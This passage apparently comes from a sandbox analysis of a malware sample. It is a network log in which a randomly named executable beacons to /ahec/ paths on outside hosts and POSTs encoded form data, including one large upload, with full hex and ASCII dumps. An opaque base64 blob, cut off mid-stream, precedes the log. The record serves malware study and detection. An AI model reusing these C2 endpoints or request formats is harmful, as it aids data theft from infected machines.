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
Dec 8, 2023 14:52:38.162178040 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 08 Dec 2023 13:52:38 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2023-12-08T13:52:43.0141623Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49776	85.159.66.93	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:40.619764090 CET	471	OUT	GET /ahec/?XveXHZvx=AHFK2pjoxw5zzLKkvof1eZxXaE20EUKFIXzrT8sRZEqLGYv6y8nhVjDsidhHFHxwb+HDFiGiPRNZnrHWQBMnDP8n7IChKCrxhg==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.magmadokum.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:52:40.898921013 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 08 Dec 2023 13:52:40 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2023-12-08T13:52:45.7508499Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49777	162.241.252.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:47.184953928 CET	762	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.thecoloringbitch.com Origin: http://www.thecoloringbitch.com Referer: http://www.thecoloringbitch.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 71 44 64 4b 75 39 30 73 72 47 53 47 69 50 32 2f 43 45 5a 2f 62 71 54 50 4c 2b 30 34 71 56 4b 73 54 68 4b 4b 63 73 56 34 63 4a 79 6b 49 50 43 72 5a 30 6c 76 38 36 4c 33 42 73 76 76 50 73 56 7a 64 61 75 37 4c 57 68 59 6d 50 63 53 78 44 46 79 6a 5a 77 69 55 6f 43 75 58 75 6d 67 44 30 44 4b 6d 6e 7a 64 55 33 30 69 52 68 7a 64 77 61 76 70 73 2f 66 75 67 6b 6e 74 71 67 32 65 4a 2f 31 6f 61 30 6d 6e 6d 49 49 50 68 4a 74 64 4c 36 47 31 4a 6b 56 51 6d 6c 55 45 53 69 66 52 57 46 6d 70 4a 61 37 31 6c 61 4c 5a 63 7a 45 39 48 6a 59 6a 32 51 3d 3d Data Ascii: XveXHZvx=qDdKu90srGSGiP2/CEZ/bqTPL+04qVKsThKKcsV4cJykIPCrZ0lv86L3BsvvPsVzdau7LWhYmPcSxDFyjZwiUoCuXumgD0DKmnzdU30iRhzdwavps/fugkntqg2eJ/1oa0mnmIIPhJtdL6G1JkVQmlUESifRWFmpJa71laLZczE9HjYj2Q==
Dec 8, 2023 14:52:47.394695997 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:47 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49778	162.241.252.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:49.898237944 CET	782	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.thecoloringbitch.com Origin: http://www.thecoloringbitch.com Referer: http://www.thecoloringbitch.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 71 44 64 4b 75 39 30 73 72 47 53 47 6b 75 47 2f 45 6e 78 2f 53 71 54 4d 56 75 30 34 67 31 4b 6f 54 68 47 4b 63 75 35 53 64 38 69 6b 49 75 53 72 59 78 52 76 2f 36 4c 33 55 63 76 51 4c 73 55 2f 64 61 7a 49 4c 55 31 59 6d 4c 30 53 78 47 70 79 6b 75 63 74 58 59 43 6f 61 4f 6d 6d 48 30 44 4b 6d 6e 7a 64 55 33 67 45 52 67 62 64 78 71 2f 70 73 64 33 70 38 55 6e 79 67 41 32 65 59 50 31 73 61 30 6e 58 6d 4d 41 68 68 50 68 64 4c 37 32 31 4a 78 35 54 73 6c 55 47 57 69 65 47 54 30 32 6d 50 49 61 66 6f 38 2b 7a 61 6e 56 4e 47 32 30 77 78 70 4e 61 35 66 46 62 75 6d 44 77 79 59 42 4d 44 54 48 6b 66 49 77 3d Data Ascii: XveXHZvx=qDdKu90srGSGkuG/Enx/SqTMVu04g1KoThGKcu5Sd8ikIuSrYxRv/6L3UcvQLsU/dazILU1YmL0SxGpykuctXYCoaOmmH0DKmnzdU3gERgbdxq/psd3p8UnygA2eYP1sa0nXmMAhhPhdL721Jx5TslUGWieGT02mPIafo8+zanVNG20wxpNa5fFbumDwyYBMDTHkfIw=
Dec 8, 2023 14:52:50.103866100 CET	479	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:49 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49779	162.241.252.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:52.618525028 CET	10864	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.thecoloringbitch.com Origin: http://www.thecoloringbitch.com Referer: http://www.thecoloringbitch.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 71 44 64 4b 75 39 30 73 72 47 53 47 6b 75 47 2f 45 6e 78 2f 53 71 54 4d 56 75 30 34 67 31 4b 6f 54 68 47 4b 63 75 35 53 64 38 71 6b 4c 5a 53 72 58 79 4a 76 2b 36 4c 33 56 63 76 56 4c 73 56 6c 64 61 72 45 4c 55 6f 6a 6d 4e 77 53 33 67 39 79 68 63 6b 74 4d 49 43 6f 54 75 6d 6a 44 30 43 58 6d 6e 6a 5a 55 33 77 45 52 67 62 64 78 6f 58 70 38 66 66 70 76 45 6e 74 71 67 32 73 4a 2f 31 45 61 30 2b 76 6d 4d 4d 66 68 2f 42 64 4b 62 6d 31 4b 44 42 54 78 31 55 59 59 43 65 4f 54 30 37 6d 50 49 47 35 6f 38 6a 57 61 6b 4a 4e 44 44 4e 59 73 4a 46 4f 6c 36 6c 46 75 6c 6e 53 32 6f 51 43 65 69 66 38 64 75 41 53 31 67 50 7a 4b 56 78 32 50 45 30 46 64 73 51 76 45 4f 4f 37 58 76 6c 5a 74 56 30 57 42 44 49 43 61 6d 72 49 57 5a 74 67 63 31 32 69 7a 5a 30 6a 55 57 33 59 70 79 53 2b 64 7a 6a 38 45 4c 50 51 77 44 6c 2f 2f 51 4c 74 6b 78 4d 62 70 33 37 6b 48 75 77 73 52 4c 46 70 56 50 70 70 35 6c 39 4e 68 53 43 4a 57 68 2f 57 4a 64 46 7a 33 59 74 39 32 77 47 49 34 58 73 75 58 33 35 33 31 32 5a 33 55 59 73 58 73 62 35 77 48 64 66 67 72 43 55 67 43 74 6e 74 4f 55 49 6c 61 5a 70 36 6e 5a 4d 43 6f 68 35 7a 4f 4c 78 31 31 4b 36 63 6b 48 4a 4a 53 46 47 6c 73 45 33 41 6f 45 78 32 55 62 53 47 2b 4b 64 43 44 71 35 4e 75 76 61 59 31 6c 44 69 68 54 6e 68 49 34 55 6b 78 53 41 76 44 62 61 72 41 46 74 47 54 62 2f 38 70 63 52 6f 67 36 67 56 52 44 52 6f 67 35 66 78 36 58 70 48 48 6f 6e 5a 70 37 2b 62 76 6b 2f 4d 37 55 68 6d 46 64 2b 50 4d 62 62 66 4e 76 75 54 32 77 35 31 52 56 4f 2b 73 6d 4e 48 4d 39 53 59 54 4c 31 42 76 70 56 46 38 32 75 2f 4f 61 70 4c 37 30 50 35 55 59 72 61 73 72 42 51 36 45 30 5a 51 6f 6b 49 63 70 36 38 2b 52 33 61 38 42 69 67 48 45 35 67 55 4f 41 6e 4e 4c 79 78 35 68 4b 64 59 47 77 50 67 38 56 58 44 34 4f 44 75 63 63 6e 34 50 75 33 54 31 36 2f 7a 54 53 68 4e 34 61 78 58 4d 6c 6d 76 50 63 4b 48 4b 58 39 57 72 46 79 59 65 52 57 56 4e 4a 61 70 47 35 55 45 72 6b 70 61 73 35 4a 33 4f 39 54 4b 68 6d 55 74 35 68 64 50 56 47 66 33 7a 36 2f 70 4a 64 36 73 33 57 71 41 56 52 4a 68 4e 37 79 4a 72 59 79 51 77 49 72 51 59 52 43 41 44 79 75 68 35 65 66 44 44 6b 77 58 34 32 76 58 34 53 6f 48 54 46 74 38 51 59 62 2f 42 64 47 36 36 73 52 75 46 50 58 50 35 72 4f 52 38 61 71 42 69 4f 52 64 34 4c 72 52 53 34 50 33 79 6e 61 67 51 78 6c 53 56 44 34 54 48 6b 36 44 6c 61 4c 7a 45 72 4f 2b 55 67 32 50 56 6d 67 76 68 47 57 59 65 53 4f 48 31 2b 39 31 69 66 69 38 54 44 56 55 30 6f 6e 6b 46 32 44 4c 77 75 79 30 39 50 4b 4a 52 41 48 50 47 4c 59 6b 79 41 69 77 39 69 61 6c 4e 39 79 59 37 36 53 61 6b 50 44 56 69 42 7a 50 68 32 6b 66 62 36 34 2f 4e 64 67 52 7a 43 43 48 51 39 65 48 62 62 38 4e 78 4a 50 57 72 55 41 58 62 33 39 65 64 38 36 42 7a 54 4b 31 53 4d 6e 50 30 70 62 6d 2b 4e 77 72 72 6d 30 2f 68 6f 6b 70 44 41 51 79 77 68 38 6b 64 50 31 6b 62 39 59 4c 75 4a 77 69 72 41 6b 63 72 69 45 6d 55 58 67 46 49 78 44 59 73 59 66 6a 45 56 57 41 66 79 34 2f 30 38 32 69 43 72 42 45 7a 66 67 63 6e 68 37 54 48 71 50 71 71 39 70 74 6c 4d 32 36 42 44 31 73 45 67 46 4c 6b 5a 78 34 48 63 6b 2b 55 69 71 59 77 50 49 6d 2f 41 4c 43 6c 62 35 4c 32 50 66 45 4c 45 6a 41 64 2f 57 2f 4b 55 69 72 44 54 47 2b 49 77 54 72 5a 52 2f 63 73 37 74 54 33 38 59 67 71 4d 56 75 47 75 52 4a 6b 54 77 4d 37 6d 73 54 31 65 4d 67 38 58 73 41 39 77 30 42 46 2f 38 49 65 53 47 4f 6e 63 5a 5a 34 6f 6a 4f 53 4b 6a 47 6f 2f 4c 79 33 52 68 74 62 31 46 78 42 6d 6c 54 71 79 69 32 4a 2f 4f 6a 58 76 4c 6a 38 71 77 55 55 45 64 65 6a 32 77 58 58 45 58 53 36 6f 6a 6e 73 6e 71 5a 31 48 33 72 77 4a 32 36 47 41 67 72 73 6e 67 61 69 49 6c 6b 45 74 70 4f 4e 58 73 4b 68 41 4f 66 75 67 2f 30 39 74 72 59 50 63 78 2f 4e 62 4d 48 75 33 76 4c 77 43 2f 76 41 71 6d 6b 43 4a 49 4f 58 70 47 72 2b 36 42 7a 31 4c 4f 39 36 4a 32 76 4a 4a 79 76 7a 34 35 41 56 68 30 41 4e 6a 59 5a 45 51 31 79 63 4f 52 4c 36 4b 39 6c 54 67 57 50 71 4f 51 68 5a 6f 53 44 72 6f 46 31 4c 47 64 35 6f 2b 46 41 78 44 6e 33 49 7a 63 62 43 51 33 4f 43 76 61 7a 4f 78 55 52 4b 58 55 45 59 63 36 70 39 2f 39 34 49 73 65 33 39 36 50 48 5a 42 5a 63 65 41 4e 4f 58 4f 68 72 38 53 54 2f 4e 64 51 31 4a 66 55 34 2b 2f 57 51 59 6f 59 79 77 45 58 63 4e Data Ascii: XveXHZvx=qDdKu90srGSGkuG/Enx/SqTMVu04g1KoThGKcu5Sd8qkLZSrXyJv+6L3VcvVLsVldarELUojmNwS3g9yhcktMICoTumjD0CXmnjZU3wERgbdxoXp8ffpvEntqg2sJ/1Ea0+vmMMfh/BdKbm1KDBTx1UYYCeOT07mPIG5o8jWakJNDDNYsJFOl6lFulnS2oQCeif8duAS1gPzKVx2PE0FdsQvEOO7XvlZtV0WBDICamrIWZtgc12izZ0jUW3YpyS+dzj8ELPQwDl//QLtkxMbp37kHuwsRLFpVPpp5l9NhSCJWh/WJdFz3Yt92wGI4XsuX35312Z3UYsXsb5wHdfgrCUgCtntOUIlaZp6nZMCoh5zOLx11K6ckHJJSFGlsE3AoEx2UbSG+KdCDq5NuvaY1lDihTnhI4UkxSAvDbarAFtGTb/8pcRog6gVRDRog5fx6XpHHonZp7+bvk/M7UhmFd+PMbbfNvuT2w51RVO+smNHM9SYTL1BvpVF82u/OapL70P5UYrasrBQ6E0ZQokIcp68+R3a8BigHE5gUOAnNLyx5hKdYGwPg8VXD4ODuccn4Pu3T16/zTShN4axXMlmvPcKHKX9WrFyYeRWVNJapG5UErkpas5J3O9TKhmUt5hdPVGf3z6/pJd6s3WqAVRJhN7yJrYyQwIrQYRCADyuh5efDDkwX42vX4SoHTFt8QYb/BdG66sRuFPXP5rOR8aqBiORd4LrRS4P3ynagQxlSVD4THk6DlaLzErO+Ug2PVmgvhGWYeSOH1+91ifi8TDVU0onkF2DLwuy09PKJRAHPGLYkyAiw9ialN9yY76SakPDViBzPh2kfb64/NdgRzCCHQ9eHbb8NxJPWrUAXb39ed86BzTK1SMnP0pbm+Nwrrm0/hokpDAQywh8kdP1kb9YLuJwirAkcriEmUXgFIxDYsYfjEVWAfy4/082iCrBEzfgcnh7THqPqq9ptlM26BD1sEgFLkZx4Hck+UiqYwPIm/ALClb5L2PfELEjAd/W/KUirDTG+IwTrZR/cs7tT38YgqMVuGuRJkTwM7msT1eMg8XsA9w0BF/8IeSGOncZZ4ojOSKjGo/Ly3Rhtb1FxBmlTqyi2J/OjXvLj8qwUUEdej2wXXEXS6ojnsnqZ1H3rwJ26GAgrsngaiIlkEtpONXsKhAOfug/09trYPcx/NbMHu3vLwC/vAqmkCJIOXpGr+6Bz1LO96J2vJJyvz45AVh0ANjYZEQ1ycORL6K9lTgWPqOQhZoSDroF1LGd5o+FAxDn3IzcbCQ3OCvazOxURKXUEYc6p9/94Ise396PHZBZceANOXOhr8ST/NdQ1JfU4+/WQYoYywEXcNn0NTkbiFUVTUIxvlfiDhjcc2j6PNXyqESHbu2mkd7mrRGitaSuLgXK5okwrse9BDnf9Sh6PNKaf1YNslnzwVnbearObUKgMTmBqqiTLmmD83x+JFRB8UQRVl0Ym8uIDC5TdLnHomAQWTMrYL+w/2aGa9+7Yf4J0csrzv+MuQhqj0i23cAsCriajnx99QVrC3BMvwON8qQtEcNUAJVnhL7Y2bhUJkCYEkkKNVfpx4mBa+xLw4h5LQlcdRS2aFBYI+CJ8oodbwMyOEns+Xgm8nAJsoLRJpA1t5jkWwpQ9pmmf2cmtbmda0j+P+Or20tLLg8iyFf9Sa/sAlGLn1kMsEnQkEdqk3PbXI/JuALgslC/DUY5gjk1VtAMLbk5QprHGTLcw/FAbSGI7tGqA5vMtvVGxHtw+P8fbc0sc4VO4L44z8A8B7TXw0iw0/8Fws/l9KJ4P3iFdnmH00OlF72T85EKVVkp1EnM1bJBF9s5rbVvxulaGxO1vtM6I0Nc2Bmfov1KLduiPejQNf7+J8hUst1+4pZjoRhDFpTTAV/uiblZJR/OwU0oXaT/kp1+AmxuMxxlmgwEIs9sls0nhkz3v9fsZqV5wggeO4CZqlnyuLzFj02UX2y4yuUg6ryeYNkwFF3PY4fx/FNVNQ52dCcw20XyXIRBVYzthWaMTGxnTBpzTjTlRBQCoC4l0UGyokkFS+jci31550EvLy8gGhiMbl98RUBMGMsP7nOtTWNJQO4l/OET8jbvfDxWCJwCcgzfL3EkzFwgNHAKkcSYsZRhgTxXeC2SrcumUKxZVkSUXKBQlXuYoYS6tZ330/dytwlBgi+FCTwP6GuxCrywCkvmrWymnpNWaYP2O2j4dcgssAVG6RfcSJFN6jZZt2nla4bNX1pKQcBF5o5W4L19FeuxKCiU5YTvUxSwc32Qm132xQkY+FWbER+KixD3QcZDaVHx/ubdbKmnVwivls5DpNRNu5T+hUA1nggiyvlIWEP+kiDNlieIQWttHFFkbQLJs1sLGsJvxBU79d6XgfmnYiqUYXsVYZ5lm7yjoichRf24qVw2Ys3FspkkXZzWSjbj8eBCo7JnHEkMUAOHKk3Fu403BCOGt1I7U6zUAt2I0gIHLs2QqD+WYHW3q4j0Z3Cu4xeIWhYAniDP4ej4oSrgT11cmU78NqNweViV8vkdEpzm4TN4nA3Zt+uhfVvwA7weXqJp4fni0Hu65R7Z/XCG4AxvqYnGoz4Z3kmwuzhubKRRXLTnJ+0tG3KJX5Wp/4QQWX1+0VTpTdaCzY7B0sN2uHqLxSKMnPBwPmy17HSBrU0t2PimevHGjSOQ5wY0ElKo4gE5dxzqulgjjyrXY7/FKKoiYXqs1liZiZEj4AFLS7Wx3ieXLihMoaFJiNUDf9BM+7Ilm8cRG6ufrkOSDc3L2HvgYuP56+0GB7H+lS2nEUa7Vmqav6T9XKMtd7aOpooxAGZMRoHC/B17qq2UltZudxEOv6vPlxIia1nYyk21sQ5BioZCAxZzvdJ7CtoMXuPlRRXzEYKLTvpEpkO01IMJn86YzL5kfxpvEXTQO1DZeo8RvYdPZY5dFuPez1GR9Ig/ol0a3DQjeGWv3aHzm3XdJWHVwEb9ywCEFLj2DbOGgeR/wQqo0b7+7JaUyoAEVNKnkz/cERre4ZCrj6DlbFqiCfnNxhLDw7X4XEl8jKl0DBXNuMLd3Ld6JPUc2ALXfyBW9IiwXXP6o7IbuseYAHwOJjXprwWzdEhbPFZmg42UqfjzlY7KlUL8PHmJ6INRSKGcdYs+xPhRkVTTxGfRKH3vUhYAm0ZsmeCO0M7lkpIIh4SvrrWnYRH4uvcp1eq2pCug+VZFxf5/JCnJ73/TUY0eHXcC+1f5AQbEzukza3ohr0I98LDXXiwdCgtOLvy2yNRMgg8Yhrba8ZLLZpOpMR0GpaL9mQQPD4G8RwWkWU0uDXMSrSmtsUP+aYhj00WbTjf0K79fLih2BjoKmWAQ3uClQM0gmdJYf0dj4siclbplpicdsa/SkqaU0BiN090YtZneBlF6CWA905jNs8VNwFpvZMPYejtTmTr1hOxyuRbcpi7spW3CEeu9FYK8SUvmgVA0QdN/